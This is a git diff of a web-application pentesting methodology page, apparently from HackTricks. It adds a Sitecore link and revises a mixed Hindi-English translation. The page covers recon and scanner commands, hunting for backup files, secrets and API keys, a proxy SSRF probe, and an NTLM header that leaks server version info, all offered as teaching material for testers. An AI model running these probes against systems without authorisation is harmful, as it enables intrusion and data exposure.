diff --git a/src/SUMMARY.md b/src/SUMMARY.md index dab618a10..793c88a81 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -447,6 +447,7 @@ - [NextJS](network-services-pentesting/pentesting-web/nextjs.md) - [Nginx](network-services-pentesting/pentesting-web/nginx.md) - [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md) + - [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md) - [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md) - [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md) - [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md) @@ -929,4 +930,3 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) - diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 7894a623d..a15b0b17d 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,10 +1,10 @@ -# 80,443 - Pentesting Web Methodology +# 80,443 - Pentesting वेब कार्यप्रणाली {{#include ../../banners/hacktricks-training.md}} ## बुनियादी जानकारी -वेब सेवा सबसे **सामान्य और व्यापक सेवा** है और कई प्रकार की **vulnerabilities** मौजूद हैं। +वेब सर्विस सबसे **आम और व्यापक सेवा** है और बहुत सारे **different types of vulnerabilities** मौजूद हैं। **डिफ़ॉल्ट पोर्ट:** 80 (HTTP), 443(HTTPS) ```bash @@ -26,46 +26,46 @@ web-api-pentesting.md ## कार्यप्रणाली सारांश -> इस कार्यप्रणाली में हम मानेंगे कि आप केवल एक domain (या subdomain) पर हमला कर रहे हैं और केवल वही। इसलिए, आपको यह कार्यप्रणाली उस scope के भीतर पाए गए हर domain, subdomain या IP (जिसमें undetermined web server हो) पर लागू करनी चाहिए। +> इस कार्यप्रणाली में हम यह मानेंगे कि आप किसी एक domain (या subdomain) पर ही हमला करने जा रहे हैं और सिर्फ़ वही। इसलिए, आपको इस कार्यप्रणाली को स्कोप में पाए गए प्रत्येक domain, subdomain या अनिर्धारित वेब सर्वर वाले IP पर लागू करना चाहिए। -- [ ] शुरू करें **पहचान करने** से कि वेब सर्वर द्वारा कौन सी **technologies** उपयोग की जा रही हैं। अगर आप tech को सफलतापूर्वक पहचान पाते हैं तो टेस्ट के बाकी हिस्सों के दौरान ध्यान में रखने के लिए **tricks** देखें। -- [ ] क्या उस technology के version की कोई **known vulnerability** है? -- [ ] कोई **well known tech** उपयोग किया जा रहा है? कोई ऐसा **useful trick** जिससे अधिक जानकारी निकाली जा सके? -- [ ] कोई **specialised scanner** चलाने के लिए (जैसे wpscan)? -- [ ] सामान्य प्रयोजन के **scanners** लॉन्च करें। कभी-कभी वे कुछ ढूंढ लेते हैं या कुछ रोचक जानकारी दे देते हैं। -- [ ] **initial checks** से शुरू करें: **robots**, **sitemap**, **404** error और **SSL/TLS scan** (if HTTPS)। -- [ ] वेब पेज पर **spidering** शुरू करें: अब समय है सभी संभावित **files, folders** और प्रयोग हो रहे **parameters** खोजने का। साथ ही **special findings** की जांच करें। -- [ ] _नोट: किसी भी नया directory जब भी brute-forcing या spidering के दौरान मिलती है, उसे spider किया जाना चाहिए।_ -- [ ] **Directory Brute-Forcing**: सभी खोजे गए folders पर brute force करके नए **files** और **directories** खोजने की कोशिश करें। -- [ ] _नोट: किसी भी नया directory जब भी brute-forcing या spidering के दौरान मिलता है, उसे Brute-Forced किया जाना चाहिए।_ -- [ ] **Backups checking**: देखें क्या आप पाए गए **files** के **backups** सामान्य backup extensions जोड़कर ढूंढ सकते हैं। -- [ ] **Brute-Force parameters**: छिपे हुए parameters खोजने की कोशिश करें। -- [ ] एक बार जब आपने सभी संभावित **endpoints** जो **user input** स्वीकार करते हैं, की **पहचान** कर ली हो, तो उन सभी प्रकार की संबंधित **vulnerabilities** की जाँच करें। -- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] शुरुआत करें: वेब सर्वर द्वारा उपयोग की जा रही **तकनीकें** की **पहचान** करें। यदि आप टेक की पहचान कर पाते हैं तो टेस्ट के बाकी हिस्सों में ध्यान में रखने के लिए कोई उपयोगी **tricks** देखें। +- [ ] क्या उस तकनीक के संस्करण के लिए कोई **known vulnerability** मौजूद है? +- [ ] क्या कोई **well known tech** उपयोग में है? अधिक जानकारी निकालने के लिए कोई **useful trick** है? +- [ ] क्या चलाने के लिए कोई **specialised scanner** है (जैसे wpscan)? +- [ ] **general purposes scanners** लॉन्च करें। पता नहीं वे कुछ पाएँगे या कोई रोचक जानकारी मिलेगी। +- [ ] **initial checks** से शुरू करें: **robots**, **sitemap**, **404** error और **SSL/TLS scan** (यदि **HTTPS**)। +- [ ] वेब पेज पर **spidering** शुरू करें: अब सभी संभावित **files, folders** और उपयोग हो रहे **parameters** को **find** करने का समय है। साथ ही **special findings** की जांच करें। +- [ ] _नोट: जब भी brute-forcing या spidering के दौरान कोई नया directory मिलता है, उसे spider किया जाना चाहिए._ +- [ ] **Directory Brute-Forcing**: खोजे गए सभी folders को brute force करके नए **files** और **directories** खोजने का प्रयास करें। +- [ ] _नोट: जब भी brute-forcing या spidering के दौरान कोई नया directory मिलता है, उसे Brute-Forced किया जाना चाहिए._ +- [ ] **Backups checking**: देखें कि क्या आप खोजे गए **files** के **backups** सामान्य backup extensions जोड़कर पा सकते हैं। +- [ ] **Brute-Force parameters**: छिपे हुए **parameters** खोजने की कोशिश करें। +- [ ] जब आपने सभी संभावित **endpoints** जो **user input** स्वीकार करते हैं **पहचान** लिए हों, तो उनसे संबंधित सभी प्रकार की **vulnerabilities** की जांच करें। +- [ ] [इस चेकलिस्ट का पालन करें](../../pentesting-web/web-vulnerabilities-methodology.md) -## सर्वर संस्करण (कमजोर?) +## सर्वर संस्करण (Vulnerable?) ### पहचान -जाँच करें कि चल रहे सर्वर के उस **version** के लिए कोई **known vulnerabilities** तो नहीं हैं।\ -प्रतिक्रिया के **HTTP headers और cookies** तकनीकों और/या उपयोग हो रहे संस्करण की **पहचान** करने में बहुत उपयोगी हो सकते हैं। **Nmap scan** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** +चेक करें कि चल रहे सर्वर के उस **version** के लिए कोई **known vulnerabilities** मौजूद हैं या नहीं।\ +रिस्पॉन्स के **HTTP headers** और **cookies** उस उपयोग की जा रही **technologies** और/या **version** की **identify** करने में बहुत उपयोगी हो सकते हैं। **Nmap scan** सर्वर वर्जन पहचान सकता है, लेकिन ये tools भी उपयोगी हो सकते हैं: [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -खोजें [**वेब एप्लिकेशन के संस्करण की vulnerabilities**](../../generic-hacking/search-exploits.md) +खोजें [**वेब एप्लिकेशन के संस्करण की कमजोरियाँ**](../../generic-hacking/search-exploits.md) -### **जाँचें कि कोई WAF है या नहीं** +### **कोई WAF है या नहीं जांचें** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Web tech tricks +### वेब टेक ट्रिक्स -कई जानकारियों: विभिन्न well known technologies में vulnerabilities खोजने के लिए कुछ ट्रिक्स: +किसी भी उपयोग की जा रही विभिन्न प्रसिद्ध तकनीकों में कमजोरियों को खोजने के लिए कुछ ट्रिक्स: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -100,28 +100,30 @@ webanalyze -host https://google.com -crawl 2 - [**Werkzeug**](werkzeug.md) - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) +- [**Sitecore**](sitecore/index.html) -_ध्यान रखें कि वही **domain** विभिन्न **technologies** को विभिन्न **ports**, **folders** और **subdomains** पर इस्तेमाल कर सकता है._\ -यदि web application किसी भी पहले सूचीबद्ध well known **tech/platform** या किसी अन्य का उपयोग कर रही है, तो Internet पर नई **tricks** खोजना न भूलें (और मुझे सूचित करें!). +_ध्यान रखें कि एक ही **domain** विभिन्न **technologies** को अलग-अलग **ports**, **folders** और **subdomains** में उपयोग कर सकता है._\ +यदि वेब एप्लिकेशन किसी भी प्रसिद्ध पहले सूचीबद्ध **tech/platform** या **किसी अन्य** का उपयोग कर रहा है, तो नए ट्रिक्स के लिए इंटरनेट पर खोज करना न भूलें (और मुझे बताएं!). -### Source Code Review +### स्रोत कोड समीक्षा -यदि application का **source code** github पर उपलब्ध है, तो अपनी तरफ से एक **White box test** करने के अलावा कुछ जानकारी है जो वर्तमान **Black-Box testing** के लिए उपयोगी हो सकती है: +यदि आवेदन का **source code** **github** पर उपलब्ध है, तो आवेदन पर अपने द्वारा एक **White box test** करने के अलावा कुछ जानकारी मौजूद हो सकती है जो वर्तमान **Black-Box testing** के लिए उपयोगी हो सकती है: -- क्या कोई **Change-log or Readme or Version** file या कोई और चीज़ है जिसमें **version info accessible** वेब के माध्यम से मिल सकती है? -- **Credentials** कैसे और कहाँ सेव किए जाते हैं? क्या कोई (accessible?) **file** है जिसमें credentials (usernames या passwords) हैं? +- क्या कोई **Change-log** या **Readme** या **Version** फाइल या कोई भी ऐसी चीज़ है जिसमें version info वेब के माध्यम से उपलब्ध है? +- credentials किस तरह और कहाँ saved हैं? क्या कोई (accessible?) **file** credentials (usernames या passwords) के साथ मौजूद है? - क्या **passwords** **plain text** में हैं, **encrypted** हैं या किस **hashing algorithm** का उपयोग किया गया है? -- क्या कुछ encrypt करने के लिए कोई **master key** उपयोग हो रही है? कौन सा **algorithm** उपयोग किया जा रहा है? -- क्या आप किसी vulnerability का फायदा उठाकर इन में से किसी भी **file** को **access** कर सकते हैं? -- क्या github में (solve किए गए और unsolved) **issues** में कोई दिलचस्प जानकारी है? या **commit history** में (शायद किसी पुराने commit में कोई **password** शामिल किया गया हो)? +- क्या यह किसी भी चीज़ को encrypt करने के लिए किसी **master key** का उपयोग कर रहा है? कौन सा **algorithm** उपयोग किया गया है? +- क्या आप किसी vulnerability का exploit करके इन में से किसी **file** तक पहुँच सकते हैं? +- क्या **github** में कोई रोचक जानकारी है (solved और not solved) **issues** में? या **commit history** में (शायद कोई **password** पुराने commit में जोड़ा गया हो)? + {{#ref}} code-review-tools.md {{#endref}} -### Automatic scanners +### स्वचालित स्कैनर्स -#### General purpose automatic scanners +#### सामान्य प्रयोजन के स्वचालित स्कैनर्स ```bash nikto -h whatweb -a 4 @@ -133,12 +135,12 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS scanners +#### CMS स्कैनर -यदि कोई CMS उपयोग किया जा रहा है तो **run a scanner** करना न भूलें, शायद कुछ दिलचस्प मिल जाए: +यदि किसी CMS का उपयोग किया जा रहा है तो **स्कैनर चलाना** न भूलें — हो सकता है कुछ दिलचस्प मिल जाए: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** वेबसाइट्स के Security issues के लिए। (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** वेबसाइटों की सुरक्षा समस्याओं के लिए। (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **या** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -148,43 +150,43 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> इस बिंदु पर आपके पास क्लाइंट द्वारा उपयोग किए जा रहे वेब सर्वर के बारे में कुछ जानकारी होनी चाहिए (यदि कोई डेटा दिया गया है) और टेस्ट के दौरान ध्यान में रखने के लिए कुछ ट्रिक्स। अगर आप भाग्यशाली हैं तो आपने एक CMS भी ढूंढ लिया होगा और कुछ scanner चलाया होगा। +> इस बिंदु पर आपके पास पहले से ही क्लाइंट द्वारा उपयोग किए जा रहे web server के बारे में कुछ जानकारी होनी चाहिए (यदि कोई डेटा दिया गया है) और परीक्षण के दौरान ध्यान में रखने के लिए कुछ ट्रिक्स। अगर आप भाग्यशाली हैं तो आपने एक CMS भी पाया होगा और कुछ scanner चलाया होगा। ## चरण-दर-चरण वेब एप्लिकेशन खोज > इस बिंदु से हम वेब एप्लिकेशन के साथ इंटरैक्ट करना शुरू करेंगे। -### प्रारंभिक जांच +### प्रारंभिक जाँच -**डिफ़ॉल्ट पेज जिनमें रोचक जानकारी हो सकती है:** +**डिफ़ॉल्ट पेज जिनमें दिलचस्प जानकारी हो:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- मुख्य और द्वितीयक पृष्ठों में टिप्पणियाँ भी देखें। +- मुख्य और द्वितीयक पेजों में टिप्पणियाँ भी जांचें। -**Forcing errors** +**त्रुटियाँ उत्पन्न करना** -वेब सर्वर तब **behave unexpectedly** कर सकते हैं जब उन्हें अजीब डेटा भेजा जाए। इससे कुछ **vulnerabilities** खुल सकती हैं या **disclosure sensitive information** हो सकता है। +Web servers जब अजीब डेटा भेजा जाता है तो अनपेक्षित तरीके से व्यवहार कर सकते हैं। इससे vulnerabilities खुल सकती हैं या संवेदनशील जानकारी का खुलासा हो सकता है। -- /whatever_fake.php (.aspx,.html,.etc) जैसे **fake pages** को एक्सेस करें -- एरर बनाने के लिए **cookie values** और **parameter** values में "\[]", "]]", और "\[\[" जोड़ें -- URL के **end** पर इनपुट के रूप में **`/~randomthing/%s`** देकर error जनरेट करें -- PATCH, DEBUG जैसे अलग HTTP Verbs आज़माएँ या FAKE जैसे गलत verbs ट्राई करें +- /whatever_fake.php (.aspx,.html,.etc) जैसे fake pages को एक्सेस करें +- त्रुटियाँ पैदा करने के लिए **cookie values** और **parameter values** में **"\[]", "]]", और "\[["** जोड़ें +- **URL** के **end** पर **`/~randomthing/%s`** जैसा इनपुट देकर त्रुटि उत्पन्न करें +- PATCH, DEBUG जैसे या FAKE जैसे गलत **HTTP Verbs** आज़माएँ -#### **जाँच करें कि आप फाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **जांचें कि क्या आप फाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -यदि आप पाएँ कि **WebDav** **enabled** है पर root folder में फाइलें अपलोड करने के लिए पर्याप्त permissions नहीं हैं तो कोशिश करें: +यदि आप पाते हैं कि **WebDav** सक्रिय है पर root फ़ोल्डर में **uploading files** के लिए आपके पास पर्याप्त permissions नहीं हैं, तो कोशिश करें: - **Brute Force** credentials -- वेब पेज के अंदर मिले हुए बाकी **found folders** में **Upload files** via WebDav करें। हो सकता है कि आपके पास अन्य फ़ोल्डरों में फाइलें अपलोड करने की permissions हों। +- WebDav के माध्यम से **Upload files** को वेब पेज के बाकी मिले हुए फ़ोल्डरों में अपलोड करने की कोशिश करें। हो सकता है कि अन्य फ़ोल्डरों में आपको फाइलें अपलोड करने की permissions मिलें। -### **SSL/TLS vulnerabilites** +### **SSL/TLS कमजोरियाँ** -- यदि एप्लिकेशन किसी भी हिस्से में **isn't forcing the user of HTTPS** है, तो यह **vulnerable to MitM** है -- यदि एप्लिकेशन **sending sensitive data (passwords) using HTTP** कर रहा है, तो यह एक हाई vulnerability है। +- यदि एप्लिकेशन किसी भी हिस्से में यूजर को HTTPS उपयोग करने के लिए मजबूर नहीं कर रहा है, तो यह MitM के प्रति vulnerable है +- यदि एप्लिकेशन संवेदनशील डेटा (passwords) HTTP का उपयोग करके भेज रहा है, तो यह एक उच्च vulnerability है। Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: ```bash @@ -195,16 +197,16 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vul sslscan sslyze --regular ``` -Information about SSL/TLS vulnerabilities: +SSL/TLS कमज़ोरियों के बारे में जानकारी: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible. +वेब के अंदर किसी तरह का **spider** चलाएँ। spider का लक्ष्य परीक्षण किए जा रहे application से जितने संभव हो उतने **paths** **खोजना** है। इसलिए, web crawling और external sources का उपयोग करके जितने संभव हो उतने valid paths खोजे जाने चाहिए। -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com). - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files". - [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org @@ -234,7 +236,7 @@ Launch some kind of **spider** inside the web. The goal of the spider is to **fi ### Brute Force directories and files -Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\ +रूट फ़ोल्डर से **brute-forcing** शुरू करें और सुनिश्चित करें कि आप इस **method** का उपयोग करके पाए गए सभी **directories** और **Spidering** से खोजे गए सभी directories को भी brute-force करें (आप इसे **recursively** कर सकते हैं और उपयोग किए जाने वाले wordlist के शुरुआत में पाए गए directory के नाम जोड़ सकते हैं)।\ Tools: - **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. @@ -267,41 +269,41 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +_नोट: जब भी कोई नया directory brute-forcing या spidering के दौरान मिलती है, उसे तुरंत Brute-Force किया जाना चाहिए।_ ### What to check on each file found - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers -- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file. +- **File Backups**: एक बार जब आपने सभी files खोज लिए, तो सभी executable files के backups खोजें ("_.php_", "_.aspx_"...). बैकअप नाम देने के सामान्य वैरिएशन हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ आप [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का भी उपयोग कर सकते हैं। +- **Discover new parameters**: आप hidden parameters खोजने के लिए [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) जैसे tools का उपयोग कर सकते हैं। संभव हो तो हर executable web file पर hidden parameters खोजने की कोशिश करें। - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**. -- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page. -- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access. -- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html). +- **Comments:** सभी files की comments जाँचें; यहाँ आपको **credentials** या **hidden functionality** मिल सकती है। +- अगर आप **CTF** खेल रहे हैं तो एक सामान्य चाल यह है कि पेज के स्रोत में comments के दाईं ओर (हज़ारों spaces का उपयोग करके) जानकारी **छिपाई** जाए ताकि ब्राउज़र में सोर्स देखने पर वह दिखाई न दे। दूसरी संभावना यह है कि कई new lines का उपयोग करके पेज के bottom में comment में जानकारी छिपाई जाए। +- **API keys**: अगर आप कोई API key पाते हैं तो विभिन्न platforms की API keys कैसे उपयोग करें उस पर मार्गदर्शक हैं: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: अगर आप कोई API key पाते हैं जो **AIza** से शुरू लगती है जैसे SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, तो आप यह जांचने के लिए [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि key किन APIs तक पहुँच सकती है। +- **S3 Buckets**: Spidering करते समय देखें कि क्या कोई **subdomain** या कोई **link** किसी **S3 bucket** से संबंधित है। ऐसी स्थिति में, [**check** the **permissions** of the bucket](buckets/index.html). ### Special findings -**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**. +**Spidering** और **brute-forcing** करते समय आप कुछ **interesting** चीज़ें पा सकते हैं जिन पर ध्यान देना चाहिए। **Interesting files** -- Look for **links** to other files inside the **CSS** files. +- CSS फाइलों के अंदर अन्य files के **links** देखें। - [If you find a _**.git**_ file some information can be extracted](git.md) -- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found. -- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them. -- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.** -- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable. +- अगर आपको _**.env**_ मिलता है तो उसमें api keys, dbs passwords और अन्य जानकारी मिल सकती है। +- अगर आपको **API endpoints** मिलते हैं तो आप उन्हें [should also test them](web-api-pentesting.md)। ये files नहीं हैं, पर दिखने में अक्सर उनकी तरह लगते हैं। +- **JS files**: spidering सेक्शन में कई tools का उल्लेख था जो JS files से paths निकाल सकते हैं। साथ ही, यह उपयोगी होगा कि हर पाए गए JS file की **monitoring** की जाए, क्योंकि कभी-कभी किसी JS में बदलाव यह संकेत दे सकता है कि code में संभावित vulnerability आई है। उदाहरण के लिए आप [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।** +- आप पाए गए JS files को vulnerable होने के लिए [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) से भी चेक कर सकते हैं। - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) -- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex) -- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality. +- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` +- कई मौकों पर, आपको उपयोग किए गए regular expressions को समझने की आवश्यकता होगी। यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) या [https://pythonium.net/regex](https://pythonium.net/regex) +- आप उन files की भी monitoring कर सकते हैं जहाँ forms detect हुए थे, क्योंकि parameters में बदलाव या नए form की दिखावट किसी नई संभावित vulnerable functionality का संकेत दे सकती है। **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -312,28 +314,28 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri **502 Proxy Error** -If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF. +यदि किसी पेज का response उस **code** के साथ आता है, तो यह संभवतः गलत configured proxy है। यदि आप ऐसा HTTP request भेजते हैं: `GET https://google.com HTTP/1.1` (host header और अन्य सामान्य headers के साथ), तो proxy _**google.com**_ तक पहुँचने की कोशिश करेगा और आप एक **SSRF** पा सकते हैं। **NTLM Authentication - Info disclosure** -If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\ -**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\ -You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_". +यदि running server authentication माँग रहा है और वह **Windows** है या आप कोई login पाते हैं जो आपके **credentials** माँगता है (और **domain** नाम माँगता है), तो आप **information disclosure** करवा सकते हैं।\ +**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और NTLM authentication के काम करने के तरीके के कारण, server internal info (IIS version, Windows version...) को header "WWW-Authenticate" में return करेगा।\ +आप इसे ऑटोमेट करने के लिए **nmap plugin** "_http-ntlm-info.nse_" का उपयोग कर सकते हैं। **HTTP Redirect (CTF)** -It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but 